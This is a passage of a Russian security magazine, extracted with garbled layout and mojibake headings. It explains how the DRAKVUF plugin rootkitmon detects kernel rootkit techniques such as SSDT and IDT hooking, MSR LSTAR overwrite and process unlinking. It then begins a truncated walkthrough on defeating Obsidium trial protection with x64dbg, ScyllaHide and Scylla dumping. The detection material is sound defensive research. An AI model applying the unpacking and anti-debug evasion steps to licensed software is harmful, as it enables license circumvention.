ся, имя про цес са, его PID и PPID, которые DRAKVUF авто мати чес ки сох раня ет
в жур нале, не име ют отно шения к детек ту, в то вре мя как поле Reason и все
поля, сле дующие за ним, име ют. В дан ном слу чае поле Reason озна чает
обна ружен ную вре донос ную тех нику, а поле Driver — наз вание модифи циро- 
ван ного драй вера.

KiDeliverApc

Ïåðåõâàò òàáëèöû ñèñòåìíûõ âûçîâîâ

SSDT (System Service Descriptor Table) — мас сив ука зате лей на обра бот чики
сис темных вызовов в 32-бит ных сис темах или спи сок сме щений отно ситель- 
но базово го адре са таб лицы на 64-бит ных ОС. Как говори лось ранее,
до появ ления PatchGuard эта таб лица активно исполь зовалась легитим ными
прог рамма ми, а так же рут китами для филь тра ции и монито рин га сис темных
вызовов. Переза пись одно го ука зате ля в такой таб лице рав носиль на перех- 
вату всех вызовов опре делен ного обра бот чика, что нам ного про ще inline-
перех ватов, рас смот ренных до это го.

На дан ный момент в ОС Windows сущес тву ет два таких мас сива под сим- 
волами  и  для сис темных
вызовов к модулю  и гра фичес кой под систе ме 

соот ветс твен но. Количес тво эле мен тов в этих мас сивах сох ранено
в перемен ных  и .

nt!KiServiceTable win32k!W32pServiceTable
ntoskrnl.exe win32k.sys

nt!KiServiceLimit win32k!W32pServiceLimit

Зна чения струк тур nt!KiServiceTable и win32k!W32pServiceTable

Ука затель на SSDT находит ся в спе циаль ной струк туре
, или , под име нем :KSYSTEM_SERVICE_TABLE SST ServiceTableBase

Îïè ñàíèå ñòðóê òóðû KSYSTEM_SERVICE_TABLE

  typedef struct _KSYSTEM_SERVICE_TABLE
{
     PULONG ServiceTableBase;
     PULONG ServiceCounterTableBase;
      ULONG NumberOfService;
      ULONG ParamTableBase;
  } KSYSTEM_SERVICE_TABLE, *PKSYSTEM_SERVICE_TABLE;

В то же вре мя мас сив этих струк тур лежит в таб лицах 

 и . Если
в пер вой хра нит ся толь ко SST для обра бот чиков сис темных вызовов NT, то
во вто рой добав ляет ся SST-таб лица гра фичес кой под систе мы win32k.

nt!
KeServiceDescriptorTable nt!KeServiceDescriptorTableShadow

Зна чения таб лиц nt!KeServiceDescriptorTable
и nt!KeServiceDescriptorTableShadow

Мож но заметить, что пер вая SST-струк тура в обе их таб лицах оди нако ва.
При сис темном вызове ОС Windows исполь зует ниж ние 12 бит регис тра 

как индекс в одной из SSDT-таб лиц, а биты 12–13 ука зыва ют, какую SDT-
струк туру выб рать:  или 

.

eax

nt!KeServiceDescriptorTable nt!
KeServiceDescriptorTableShadow

В пер вой час ти статьи уже шла речь о том, что на 64-бит ных сис темах
SSDT содер жит мас сив сме щений, а вир туаль ный адрес обра бот чика сис- 
темно го вызова вычис ляет ся по фор муле

RoutineAddress = ServiceTableBase + (ServiceTableBase[index] >> 4)

Сдвиг на 4 необ ходим, пос коль ку пер вые 4 бита содер жат количес тво
парамет ров, переда ваемых через стек.

При мер под сче та адре са обра бот чика сис темно го вызова

Ес ли взгля нуть на при мер с вызовом , учи тывая выше изло жен- 

ное, он будет выг лядеть сле дующим обра зом.

CreateFileW

Схе ма сис темно го вызова

Мо нито ринг модифи кации SSDT-таб лиц зак люча ется в выс тавле нии ловушек
на запись в физичес кие стра ницы памяти дан ных таб лиц и реали зован в пла- 
гине ssdtmon.

Пе рех ват  уже был реали зован в этом пла гине, и мы

лишь добави ли под дер жку таб лицы . Так же в пла- 

гине вре донос ной счи тает ся запись, совер шенная на 8 байт ниже начала таб- 
лицы. Это свя зано с тем, что с помощью 16-бит ных XMM-инс трук ций мож но
перепи сать пер вые 12 байт таб лицы, записы вая на 4 бай та ниже ее начала.
Тем самым мож но обой ти три виаль ную про вер ку гра ниц. Сто ит заметить, что
в то вре мя, как таб лица  находит ся в сек ции дан ных

модуля  и дос тупна из все го ядер ного прос транс тва, 

 при над лежит модулю  и для дос тупа к дан ному

драй веру нуж но находить ся в кон тек сте какого-либо гра фичес кого про цес са,
нап ример .

nt!KiServiceTable
win32k!W32pServiceTable

nt!KiServiceTable
ntoskrnl.exe win32k!

W32pServiceTable win32k.sys

explorer.exe
Что бы получить физичес кий адрес стра ницы таб лицы 

, пла гин находит PID гра фичес кого про цес са 
 и исполь зует регистр CR3 это го про цес са для тран сля ции вир туаль ного

адре са таб лицы в физичес кий:

win32k!
W32pServiceTable explorer.
exe

Êîä ïîëó÷å íèÿ çíà ÷åíèé win32k!W32pServiceTable

è win32k!W32pServiceLimit

   vmi_pid_t gui_pid = 0;
   if (!drakvuf_get_process_pid(drakvuf, gui_process, &gui_pid))

{
   PRINT_DEBUG("[SSDTMON] Failed to get PID of "explorer.exe"\n");
    throw -1;
}

   addr_t w32k_base = 0;
 vmi_lock_guard vmi(drakvuf);

// Locate Win32k.sys base address
    if (!get_driver_base(vmi, this, "win32k.sys", &w32k_base))

{
   PRINT_DEBUG("[SSDTMON] Failed to find win32k.sys in 
PsLoadedModuleList\n");
    throw -1;
}
// Read ssdt shadow size

       
 

if (VMI_SUCCESS != vmi_read_32_va(vmi, w32k_base + w32psl_rva,
gui_pid, &this->w32pservicelimit))
{
   PRINT_DEBUG("[SSDTMON] Failed to read W32pServiceLimit\n");
    throw -1;
}

       
 

if (VMI_SUCCESS != vmi_translate_uv2p(vmi, w32k_base + w32pst_rva,
gui_pid, &this->w32pservicetable))
{
   PRINT_DEBUG("[SSDTMON] Failed to translate 
win32k!W32pServiceTable to physical address\n");
    throw -1;
}

Пос ле чего выс тавля ются ловуш ки на эти физичес кие стра ницы, и, пос коль ку
обе таб лицы находят ся в сек циях READ ONLY, любая запись в них может рас- 
ценивать ся как вре донос ная.

Ïåðåõâàòû IDT/GDT

Про дол жая тему перех вата таб лиц, отме тим, что сущес тву ет еще два типа,
которые могут пред став лять инте рес: таб лицы IDT и GDT.

IDT (Interrupt Descriptor Table) — таб лица пре рыва ний в архи тек туре х86,
которая слу жит для кор рек тно го отве та на пре рыва ния и исклю чения. В IDT
исполь зуют ся сле дующие типы пре рыва ний: аппа рат ные, прог рам мные
и пре рыва ния, зарезер вирован ные про цес сором, — они называ ются исклю- 
чени ями (пер вые 32 шту ки) и исполь зуют ся на слу чай воз никно вения некото- 
рых недопус тимых событий, таких как деление на ноль, ошиб ка трас сиров ки,
перепол нение.

Ре гистр  содер жит базовый адрес (32 бита в защищен ном режиме,

64 бита в режиме IA-32e) и 16-бит ный раз мер таб лицы в бай тах. Инс трук ции
 и  заг ружа ют и сох раня ют регистр IDTR соот ветс твен но.

IDTR

LIDT SIDT

Струк тура регис тров сис темных таб лиц

При мер зна чений таб лицы пре рыва ний

Таб лица дес крип торов пре рыва ний исполь зует ся для того, что бы показать
про цес сору, какую про цеду ру обслу жива ния пре рыва ния (ISR) вызывать
для обра бот ки исклю чения. Для этой же цели сущес тву ет ассем блер ная инс- 
трук ция , где  — это номер пре рыва ния.int N N

Каж дый эле мент в таб лице пре рыва ний на 64-бит ных сис темах име ет
струк туру IDTENTRY64.

Опи сание струк туры KIDTENTRY64

Ре аль ный же адрес обра бот чика пре рыва ния вычис ляет ся по сле дующей
фор муле:

RoutineAddress = OffsetHigh << 32 + OffsetMiddle << 16 + OffsetLow 

При мер под сче та адре са обра бот чика пре рыва ний

В пла гине мы под счи тыва ем кон троль ную сум му всей IDT-таб лицы на каж дом
логичес ком ядре и сох раня ем для про вер ки в кон це ана лиза.

Код перечис ления и сох ранения зна чений дес крип торов

На рисун ке выше вид но, что, помимо IDT, мы так же перечис ляем и сох раня ем
GDT-таб лицу. GDT (Global Descriptor Table) — струк тура в архи тек туре х86,
помога ющая про цес сору рас пре делить память по сег ментам. Каж дый эле- 
мент таб лицы, называ емый сег мен тным дес крип тором, содер жит адрес, раз- 
мер (лимит), фла ги прав и атри бутов таких областей.

Струк тура дес крип тора сег мента

Ад рес и раз мер таб лицы хра нит ся в отдель ном сис темном регис тре GDTR.

Струк тура сис темно го регис тра GDTR

В режиме х64 из-за линей ной модели памяти каж дый сег мент в таб лице охва- 
тыва ет все адресное прос транс тво и раз личие мож но наб людать лишь в фла- 
гах дос тупа к дан ным сег ментам. К сожале нию, мы не обна ружи ли рут киты,
которые как-либо модифи циро вали таб лицу GDT. Но пос коль ку PatchGuard
защища ет ее, мы так же добави ли про вер ку на добав ление, уда ление
и модифи кацию эле мен тов таб лицы.

Ес ли IDT- или GDT-таб лицы рас ходят ся в начале и в кон це ана лиза
образца, пла гин выписы вает сле дующие строч ки:

"\Device\HarddiskVolume2\Windows\System32\explorer.exe":KiDeliverApc 
SessionID:0 PID:1968 PPID:476 Reason:"IDT modification" 
"\Device\HarddiskVolume2\Windows\System32\explorer.exe":KiDeliverApc 
SessionID:0 PID:1968 PPID:476 Reason:"GDT modification" 

Продолжение статьи →



НА СТРАЖЕ ЯДРА
ОБНАРУЖИВАЕМ РУТКИТЫ С ПОМОЩЬЮ

НОВОГО ПЛАГИНА DRAKVUF

ВЗЛОМ  НАЧАЛО СТАТЬИ←

MSR LSTAR

Еще одна воз можная цель рут китов — переза пись сис темно го регис тра 

. Сог ласно спе цифи кации, пос ле сис темно го вызова

инс трук цией  в регистр  будет заг ружено зна чение ,
которое в Windows ука зыва ет на адрес сис темной фун кции .

MSR 
LSTAR (0xc0000082)

syscall RIP MSR LSTAR
KiSystemCall64

Зна чение регис тра MSR LSTAR

Как вид но, пер вая инс трук ция в ядре пос ле сис темно го вызова — .

Сог ласно докумен тации Intel, 

.

swapgs
SWAPGS exchanges the current GS base register

value with the value contained in MSR address C0000102H
(IA32_KERNEL_GS_BASE)

В то вре мя как поль зователь ский регистр  всег да ука зыва ет на TEB
текуще го потока, в ядре  будет ука зывать на Processor control region

текуще го ядра.

gs
gs

Опи сание исполь зования MSR LSTAR

В отли чие от SSDT-перех ватов, переза пись  поз воля ет перех ватывать
и филь тро вать все сис темные вызовы сра зу. Но для это го рут киту нуж но сде- 
лать допол нитель ную работу, а имен но: выз вать инс трук цию , сох- 

ранить поль зователь ский стек, заг рузить ядер ный стек. Час то в перех вачен- 
ном обра бот чике  мож но встре тить сле дующий код.

LSTAR

swapgs

LSTAR

При мер перех вачен ного KiSystemCall64

Rootkitmon обна ружи вает модифи кацию , све ряя его зна чение

с адре сом фун кции  в кон це ана лиза. Монито ринг записи
в  в DRAKVUF на дан ный момент невоз можен. Во-пер вых, перех- 

ватывать ся могут толь ко записи во все MSR-регис тры. Во-вто рых, перех ват
MSR на запись силь но наг ружа ет сис тему, пос коль ку на каж дом сис темном
вызове инс трук ция  записы вает в ,

как говори лось выше. В-треть их, монито ринг  на запись час то при- 

водит к лож ным сра баты вани ям, пос коль ку, как мы замети ли, PatchGuard сам
переза писы вает этот MSR во вре мя выпол нения сво их про верок.

MSR LSTAR
KiSystemCall64

MSR LSTAR

swapgs IA32_KERNEL_GS_BASE MSR
MSR LSTAR

Код перех вата MSR LSTAR

ÏÅÐÅÕÂÀÒÛ ÔÓÍÊÖÈÉ DRIVER_OBJECT

У каж дого заг ружен ного драй вера в сис теме есть струк тура .

Она опи сыва ет сос тояние драй вера, который отве чает за ее ини циали зацию
во вре мя сво ей заг рузки. В час тнос ти, для ком муника ции с поль зователь ски- 
ми прог рамма ми драй вер дол жен ини циали зиро вать мас сив .

Он, в свою оче редь, содер жит адре са обра бот чиков для всех зап росов,
на которые драй вер может отве чать. Нап ример, ког да поль зователь ское
ПО будет исполь зовать API ReadFile с опи сате лем драй вера, Windows соз- 
даст спе циаль ный IRP-зап рос и вызовет обра бот чик из мас сива

 это го драй вера — в дан ном слу чае .

DRIVER_OBJECT

MajorFunction

MajorFunction IRP_MJ_READ

Опи сание струк туры _DRIVER_OBJECT

Пе реза пись ука зате лей на обра бот чики, как и в слу чае с SSDT, при ведет
к перех вату всех вызовов опре делен ного типа зап роса к драй веру. Осо бен- 
ность этой тех ники сос тоит в том, что PatchGuard защища ет толь ко неболь- 
шой спи сок объ ектов драй веров и перех ват любого драй вера не из спис ка
не при ведет к BSOD’у сис темы.

По мимо мас сива , так же сущес тву ет мас сив быс трых IO-
опе раций — . В отли чие от , быс трые IO-опе- 

рации пред назна чены исклю читель но для драй веров фай ловой сис темы
и сетевых драй веров. Рас смот рим, что такое объ екты и как мож но их
перечис лять непос редс твен но из кон тек ста гипер визора.

MajorFunction
FastIoDispatch MajorFunction

В Windows каж дый ресурс (про цесс, поток, файл и так далее) пред став лен
в виде объ екта и управля ется дис петче ром объ ектов Windows. Нап ример,
в Windows 10 1803 сущес тву ет око ло 64 раз личных типов объ ектов.

Каж дый объ ект сос тоит из двух час тей:
OBJECT_HEADER — спе циаль ный заголо вок фик сирован ного раз мера,
который находит ся перед телом объ екта и которым вла деет дис петчер
объ ектов;

•

Body — часть объ екта, пред став ляющая собой сис темный ресурс
(  для про цес сов,  для потоков,  для фай- 
лов и так далее).

•
EPROCESS ETHREAD FILE_OBJECT

Опи сание струк туры _OBJECT_HEADER

Мно гие объ екты содер жат дан ные, которые пос тоян ны для всех объ ектов
одно го типа. Для эко номии памяти дис петчер объ ектов хра нит ста тич ные
дан ные одно го типа объ ектов в спе циаль ной струк туре .OBJECT_TYPE

Опи сание струк туры _OBJECT_TYPE

Все типы объ ектов хра нят ся в мас сиве под сим волом .

В то же вре мя в заголов ке объ екта находит ся поле , которое ука- 
зыва ет на индекс в дан ном мас сиве. Для наг ляднос ти най дем струк туру типа
объ екта .

nt!ObTypeIndexTable
TypeIndex

EPROCESS

При мер нахож дения типа объ екта

Объ екты хра нят ся в спе циаль ной дирек тории . Ука затель

на кор невую дирек торию содер жится в .

_OBJECT_DIRECTY
nt!ObpRootDirectoryObject

Опи сание струк туры _OBJECT_DIRECTORY

Все го в дирек тории может быть 37 записей, где каж дая запись — ука затель
на связ ный спи сок  со сле дующей струк турой._OBJECT_DIRECTORY_ENTRY

Опи сание струк туры _OBJECT_DIRECTORY_ENTRY

 — это тело объ екта. Дирек тории так же могут быть вло жен ными,

для них сущес тву ет спе циаль ный тип , и, если  име ет дан- 
ный тип, он трак тует ся как .

Object
Directory Object

OBJECT_DIRECTORY

При мер дирек тории дис петче ра объ ектов

Со ответс твен но, для перечис ления всех объ ектов драй веров в сис теме
rootkitmon рекур сивно обхо дит каж дую дирек торию и сох раня ет объ ект, если
он отно сит ся к типу Driver.

Код рекур сивно го перечис ления объ ектов драй веров

У каж дого получен ного объ екта под счи тыва ется кон троль ная сум ма мас сивов
 и , а так же ука зате лей 

и . Несов падение кон троль ной сум мы по резуль татам ана лиза

озна чает вре донос ную модифи кацию этих струк тур.

MajorFunction FastIoDispatch DriverStartIo
DriverUnload

Код про вер ки кон троль ной сум мы

По мимо , мы так же сох раня ем каж дый  в сте ке

девай сов.  может пред став лять собой логичес кое, физичес- 

кое устрой ство или прос то некие воз можнос ти драй вера. Сама струк тура
 всег да соз дает ся драй вером фун кци ей .

Ког да сис тема посыла ет IRP-зап рос драй веру, она нап равля ет его
какому-либо девай су. Мас сив  име ет ука зате ли на обра бот- 
чики зап росов со сле дующим про тоти пом.

DRIVER_OBJECT DEVICE_OBJECT
DEVICE_OBJECT

DEVICE_OBJECT IoCreateDevice

MajorFunction

Про тотип фун кции обра бот ки IRP-зап росов

Пер вым аргу мен том всег да будет ука затель на девайс-объ ект, к которо му
был отправ лен зап рос. Соот ветс твен но, драй вер может иметь бес конеч но
мно го раз личных девай сов и обра баты вать каж дый по-сво ему.

Windows поз воля ет фор мировать стек девайс-объ ектов. Обыч но, ког да
на девайс отправ ляет ся зап рос, его помога ют обра ботать нес коль ко драй- 
веров. Каж дый из этих драй веров свя зан с девайс-объ ектом, и такие объ екты
рас положе ны в сте ке. Пос ледова тель ность девайс-объ ектов с соот ветс тву- 
ющи ми драй верами называ ется сте ком девайс-объ ектов. Нап ример, так выг- 
лядит стек девайс-объ ектов жес тко го дис ка.

При мер сте ка девайс-объ ектов

Вид но, что зап рос прой дет нес коль ко «высоко уров невых» драй веров, преж де
чем ока зать ся в обра бот чике кон трол лера жес тко го дис ка stornvme. Такие
зап росы мож но перех ватывать, регис три руя свой драй вер в стек-девай се
объ ектов с помощью . Так же Windows поз- 

воля ет регис три ровать спе циаль ный драй вер — мини-филь тр с помощью
, который может вызывать ся на раз личных IO-зап росах.

Отличный при мер работы мини-филь тров показан на рисун ке ниже.

IoAttachDeviceToDeviceStack

FltRegisterFilter

Опи сание работы драй вера мини-филь тра

Хо тя регис тра ция мини-филь тра не счи тает ся вре донос ной, перех ват этой
фун кции может дать отличное пред став ление о воз можнос тях ана лизи руемо- 
го драй вера.

Код регис тра ции перех вата FltRegisterFilter

Ес ли стек девай сов модифи циро ван или зарегис три рован мини-филь тр,
DRAKVUF покажет сле дующие стро ки:

"\Device\HarddiskVolume2\Windows\System32\explorer.exe":KiDeliverApc 
SessionID:0 PID:1968 PPID:476 Reason:"Driver stack modification" 
"\Device\HarddiskVolume2\Windows\System32\explorer.exe":KiDeliverApc 
SessionID:0 PID:1968 PPID:476 Reason:"FltRegisterFilter" 

ÒÅÕÍÈÊÀ ÑÎÊÐÛÒÈß ÏÐÎÖÅÑÑÀ ÎÒ TASK MANAGER

Од на из клас сичес ких тех ник сок рытия про цес са — уда ление его из связ ного
спис ка струк тур .  — ядер ная струк тура, опи сыва ющая
сос тояние запущен ного про цес са. Дру гими сло вами, на каж дый запущен ный
про цесс заводит ся отдель ная струк тура . Сис тема свя зыва ет каж- 

дую струк туру  с дру гими с помощью двой ного связ ного спис ка
. Сам спи сок сос тоит из двух эле мен тов — ука зате ля 

на сле дующую струк туру  в цепоч ке и ука зате ля  на пре дыду- 

щую струк туру в цепоч ке.  — ука затель на связ ный спи- 
сок про цес сов.

EPROCESS EPROCESS

EPROCESS
EPROCESS

LIST_ENTRY Flink
EPROCESS Blink
PsProcessActiveHead

Опи сание двус вязно го спис ка струк тур EPROCESS

Так, при вызове коман ды  или откры тии Task Manager

Windows прос матри вает связ ный спи сок про цес сов и воз вра щает информа- 
цию по каж дому из них. Что бы про цесс не выс вечивал ся в дан ных спис ках,
дос таточ но уда лить его из цепоч ки. Для это го необ ходимо, что бы  пре- 

дыду щего про цес са в цепоч ке ука зывал на струк туру сле дующе го, а 
сле дующе го про цес са ука зывал на пре дыду щий. Так же во избе жание
BSOD’ов ссыл ки скры того про цес са дол жны ука зывать друг на дру га,
как показа но на рисун ке ниже.

cmd /c tasklist

Flink
Blink

При мер скры того про цес са

Для монито рин га сок рытия про цес са из связ ного спис ка пла гин rootkitmon
перех ватыва ет две сис темные фун кции: 

и . Как мож но догадать ся по наз ванию, пер вая фун кция
встав ляет толь ко что соз данный про цесс в связ ный спи сок струк тур

, а вто рая уда ляет.

PspInsertProcess
PspProcessDelete

EPROCESS
Так же пла гин содер жит внут ренний спи сок всех запущен ных про цес сов

в сис теме, который запол няет ся при ини циали зации пла гина и попол няет ся
(или отчи щает ся) при соз дании и завер шении про цес са.

Со ответс твен но, если на завер шении про цес са его ука зате ли 

и  зам кну ты — про цесс был скрыт.

Flink
Blink

Код обна руже ния скры того про цес са

Но что, если про цесс не был завер шен в кон це ана лиза? Для это го пла гин
перечис ляет связ ный спи сок струк тур  и срав нива ет его с име- 
ющим ся в момент завер шения: если про цесс из ста рого спис ка не был най- 
ден в новом, он был скрыт.

EPROCESS

Код про вер ки спис ка про цес сов в кон це ана лиза

Та кой под ход не наг ружа ет сис тему и очень эффекти вен. Если будет обна- 
ружен скры тый про цесс, в логах DRAKVUF появит ся такая стро ка:

"\Device\HarddiskVolume2\Windows\System32\explorer.exe":KiDeliverApc 
SessionID:0 PID:1968 PPID:476 Reason:"Hidden process" HiddenPid:1624 

где  — PID скры того про цес са.HiddenPid

ÐÅÃÈÑÒÐÀÖÈß ÑÈÑÒÅÌÍÛÕ ÔÓÍÊÖÈÉ ÎÁÐÀÒÍÎÃÎ ÂÛÇÎÂÀ

На пос ледок раз берем нес коль ко инди като ров, которые не счи тают ся вре- 
донос ными, но могут таковы ми ока зать ся.

Microsoft пре дос тавля ет «офи циаль ный» спо соб перех вата сис темных
событий с помощью регис тра ции фун кций обратно го вызова (кол бэков). Нап- 
ример, что бы получать опо веще ния о соз дании или завер шении про цес сов,
драй вер может зарегис три ровать кол бэк с помощью API

, для под писки на соз дание потоков —

.

PsSetCreateProcessNotifyRoutine
PsSetCreateThreadNotifyRoutine

Толь ко докумен тирован ных кол бэков боль ше пят надца ти, в DRAKVUF мы
перех ватыва ем сле дующие API регис тра ции кол бэков:

 — под писка на соз дание/завер- 
шение про цес са;

• PspSetCreateProcessNotifyRoutine

 — под писка на соз дание/завер- 
шение потока;

• PspSetCreateThreadNotifyRoutine

 — под писка на заг рузку модулей;• PsSetLoadImageNotifyRoutine
 — под писка на работу с реес тром;• CmpRegisterCallbackInternal

 — под писка на получе ние опи сате лей про цес са,
потока и рабоче го сто ла;

• ObRegisterCallbacks

 — под писка на работу
с фай ловой сис темой.

• FsRtlRegisterFileSystemFilterCallbacks

Спи сок не исчерпы вающий и в будущих ревизи ях пла гина может изме нять ся.
Сама по себе регис тра ция кол бэка не счи тает ся вре донос ной, но дает
хорошее пред став ление, что дела ет ана лизи руемый драй вер в песоч нице.
На текущий момент пла гин прос то перех ватыва ет фун кции регис тра ции кол- 
бэков и фик сиру ет наз вания фун кций регис тра ции, если такие были выз ваны.

Код перех вата регис тра ции кол бэк-фун кций

ÇÀÊËÞ×ÅÍÈÅ

Пла гин rootkitmon находит ся на ран них ста диях раз работ ки, но уже поз воля ет
обна ружить такие рут киты, как Moriya, TDSS, Necurs и мно гие дру гие.
Rootkitmon не наг ружа ет сис тему и под держи вает как Windows 7 x64, так
и Windows 10 x64. Даль ше количес тво тех ник обна руже ния вре донос ной
активнос ти будет толь ко уве личи вать ся.
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ОБХОДИМ ТРИАЛЬНУЮ ЗАЩИТУ
ПОПУЛЯРНОГО ПРОТЕКТОРА

МВК

ВЗЛОМ

Се год ня мы про дол жим раз говор о популяр ных защитах
прог рамм и о спо собах их обхо да. На оче реди ,
который счи тает ся одним из самых серь езных инс тру мен тов
наряду с VMProtect и Themida. Сре ди заяв ленных фун кций —
пол ный джентль мен ский набор: вир туали зация, анти отладка,
обна руже ние VM, защита памяти, про вер ка целос тнос ти,
защита импорта, свой API для интегра ции в поль зователь- 
скую прог рамму и про чие вкус ности, осложня ющие жизнь
прос тому хакеру.

Obsidium

WARNING

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

На при мере прог раммы, исполь зующей одну из пос ледних вер сий Obsidium,
поп робу ем разоб рать сла бые и силь ные мес та этой защиты. В , пос- 
вящен ной дру гому извес тно му про тек тору — Enigmа, я рас ска зывал
о популяр ном у раз работ чиков спо собе защиты при ложе ния: поль зовате лю
пре дос тавля ется озна коми тель ный пери од работы с прог раммой — мож но
исполь зовать ее опре делен ное вре мя или выпол нить опре делен ное количес- 
тво запус ков. Есть такая воз можность и у Obsidium. Ска чав с офи циаль ного
сай та демовер сию защиты (пос ледняя акту аль ная вер сия — 1.7.3.3), запус- 
каем ее.

статье

Ин терфейс Obsidium

Для начала, как нам совету ют, соз дадим новый про ект и в его нас трой ках ука- 
жем защиту при ложе ния в виде три аль ного пери ода. Для это го жмем в левой
вер тикаль ной панели гра фичес кую кноп ку с шес терен ками Settings и откры- 
ваем вто рую спра ва вклад ку Time trial.

Нас тра иваем три аль ный пери од для прог раммы

Как видишь, здесь при сутс тву ет такой же джентль мен ский набор фун кций,
как и в Enigma:

три ал до опре делен ной даты;•
три ал на опре делен ное количес тво дней;•
три ал на опре делен ное количес тво запус ков.•

Нем ного неоче вид ным кажет ся пред назна чение четырех полей вво да в левой
ниж ней час ти окна под общим заголов ком User-dened trial counters.
На самом деле, как я уже говорил, для тех при веред ливых поль зовате лей,
которым мало стан дар тной защиты по вре мени или количес тву запус ков,
Obsidium пред лага ет набор сво их фун кций для интегра ции в прог рамму.
В качес тве одно го из вари антов раз работ чик может уста нав ливать собс твен- 
ные три аль ные счет чики, кон тро лиру емые пря мо из кода во вре мя выпол- 
нения прог раммы. Это четыре целочис ленные 16-бит ные перемен ные, сох- 
раня емые в сис теме до сле дующе го запус ка прог раммы, зна чения которых
мож но читать фун кци ей  и дек- 

ремен тировать фун кци ей 
. Эту фун кцию мож но исполь зовать, нап ример, если мы хотим,

что бы прог рамма пос ле десяти сох ранений бло киро вала фун кцию Save
и про дол жала даль ше работать как ни в чем не бывало, без даль нейшей воз- 
можнос ти сох ранить файл на диск. Этот инс тру мен тарий пре дос тавля ет поль- 
зовате лям более гиб кие воз можнос ти управле ния три алом.

int obsGetTrialCounter(DWORD dwCtrIdx)
bool obsDecTrialCounter(DWORD dwCtrIdx, 

short wValue)

За щита уста нов лена!

Пос ле уста нов ки нуж ных парамет ров защиты жмем вто рую сни зу кноп ку
в левой панели с над писью PROTECT, затем на вклад ке Executables выбира ем
файл защища емой прог раммы и, наконец, нажима ем кноп ку Protect all.
Теперь наше при ложе ние под защитой демовер сии Obsidium, о чем нам
будет напоми нать раз дра жающее окош ко при каж дом ее запус ке.

Пот рениро вав шись на кош ках, перей дем к взло му при ложе ния. Итак, у нас
име ется три аль ная вер сия прог раммы, которую DIE иден тифици рует сле- 
дующим обра зом:

Obsidium v1.5.4.x - [ v1.6.x.x - 1.x.x ]  - Obsidium Software - www.
obsidium.de    *ACM  , Overlay : FE4711... Nothing detected 

С пер вого взгля да оче вид но, что заг ружать такое в дизас сем блер совер- 
шенно бес полез но: код силь но сжат или зашиф рован (на самом деле и то
и дру гое). Сек ции пус тые, из импорта име ются в наличии все го четыре фун- 
кции. Поп робу ем сра зу заг рузить ее в отладчик.

Вос поль зуем ся x64dbg, ибо в нем есть прек расные пла гины Scylla
и ScyllaHide, которые нам очень при годят ся. К при меру, для того что бы
не палить дебаг гер, в ScyllaHide сущес тву ет спе циаль ный про филь, заточен- 
ный исклю читель но под Obsidium. Вклю чаем его и начина ем трас сиров ку.

Хож дение по безум ному коду про тек тора — доволь но нуд ное занятие
и вдо бавок небезо пас ное, ибо Obsidium, как и дру гие «взрос лые» защиты
типа VMProtect, уме ет кон тро лиро вать вре мя про хож дения опре делен ных
учас тков кода внут ри себя. Скрыть собс твен ное при сутс твие нам не поможет
никакая ScyllaHide. Вдо бавок мы, по моему обык новению, хотим все сде лать
мак сималь но быс тро и с миниму мом зат рат, поэто му прос то поз волим прог- 
рамме запус тить ся до появ ления на экра не основно го окна.

Прог рамма пре вос ходно запус кает ся и даже пре рыва ется — ScyllaHide
прек расно отра баты вает свое наз начение. В этот момент мы видим рас- 
шифро ван ный и рас пакован ный модуль, который попыта емся сдам пить
при помощи той же Scylla. Для это го оста нав лива емся где-нибудь внут ри
кода основно го модуля и отно ситель но дан ного  дела ем авто поиск .

Пос ле чего Get Imports выда ет очень длин ный спи сок оши бок, но при этом
все-таки стро ит таб лицу импорта.

OEP IAT

Кро пот ливо вымары ваем помечен ные крас ными крес тиками оши боч ные
ноды и дам пим модуль. Вро де бы все хорошо, мы, кажет ся, получи ли чис тый
модуль со сня тым про тек тором, но, к сожале нию, с пол пинка работа ет такое
далеко не всег да. В час тнос ти, пос ле дан ной про цеду ры наш модуль отка- 
зыва ется запус кать ся — при этом не выда ет никакой ошиб ки, прос то мол ча
завер шает ся.

При бли жай шем рас смот рении ста новит ся понят но почему: точ ка вхо да
най дена невер но, она ука зыва ет на совер шенно левую пус тую про цеду ру.
Най ти пра виль ную точ ку вхо да, по идее, воз можно (как будет показа но ниже),
но дело даже не в этом. В прин ципе, в некото рых слу чаях задачу мож но уже
счи тать решен ной и начинать пить шам пан ское — к при меру, если модуль
написан на дель фи, бей сике, дот нете и подоб ном. В этом слу чае он уже впол- 
не годит ся для заг рузки в инс тру мент реверс-инжи нирин га. Да что там
говорить, даже обыч ный ском пилиро ван ный модуль при годен для ревер са —
к при меру, мож но най ти мес то для инлайн-пат ча и написать лоадер
или разоб рать алго ритм для соз дания кей гена.

Поп робу ем раз вить пос леднюю идею тех ничес ки. Как я уже говорил,
у модуля все го четыре импорти руемые фун кции: ,

,  и . Для начала уста новим точ ку

оста нова на . Прог рамма запус кает ся, и точ ка оста нова

даже отра баты вает пару раз, одна ко пос ле это го отладчик зацик лива ется
с бес конеч ными попыт ками исклю чения по . Защита явно

спа лила отладчик, и ScyllaHide уже не помога ет.

GetModuleHandleA
MessageBoxA RegOpenKeyExA ImageList_Add

GetModuleHandleA

ACCESS_VIOLATION

От рицатель ный резуль тат не отби вает у нас охо ту работать в этом нап- 
равле нии, и мы по ста рой памяти про буем пов торить этот трюк с .
На удив ление, бряк нес коль ко раз впол не эффектив но сра баты вает и не
зацик лива ется. Смот рим вни матель но на стек вызовов — пер вые нес коль ко
раз там содер жится пол ная каша, одна ко в опре делен ный момент появ ляет ся
осмыслен ная пос ледова тель ность вло жен ных вызовов, сни зу начина ющаяся
c вызова потока нашей прог раммы из  и закан чива-

ющаяся свер ху в нед рах модулей  и . Это наша прог рамма
впер вые выз вала , а он полез за шриф том на диск.

ReadFile

BaseThreadInitThunk
user32 gdi32full

LpkDrawTextEx
Вни матель но изу чаем рас положен ный в самом низу спис ка код про цеду- 

ры, выпол няющей ся в этом потоке, и находим начало этой самой про цеду- 
ры — . Итак, мы наш ли потен циаль ную точ ку вхо да и теперь у нас

есть за что зацепить ся в про цес се отладки.

0xB634EC

Пе реза пус каем прог рамму, в окно дам па выводим сос тояние памяти
по это му адре су. Как и сле дова ло ожи дать, память девс твен но чис та и запол- 
нена нулями. Запус каем прог рамму, сно ва оста нав лива ясь на . Бук- 

валь но через пару бря ков видим по адре су  готовый рас пакован ный

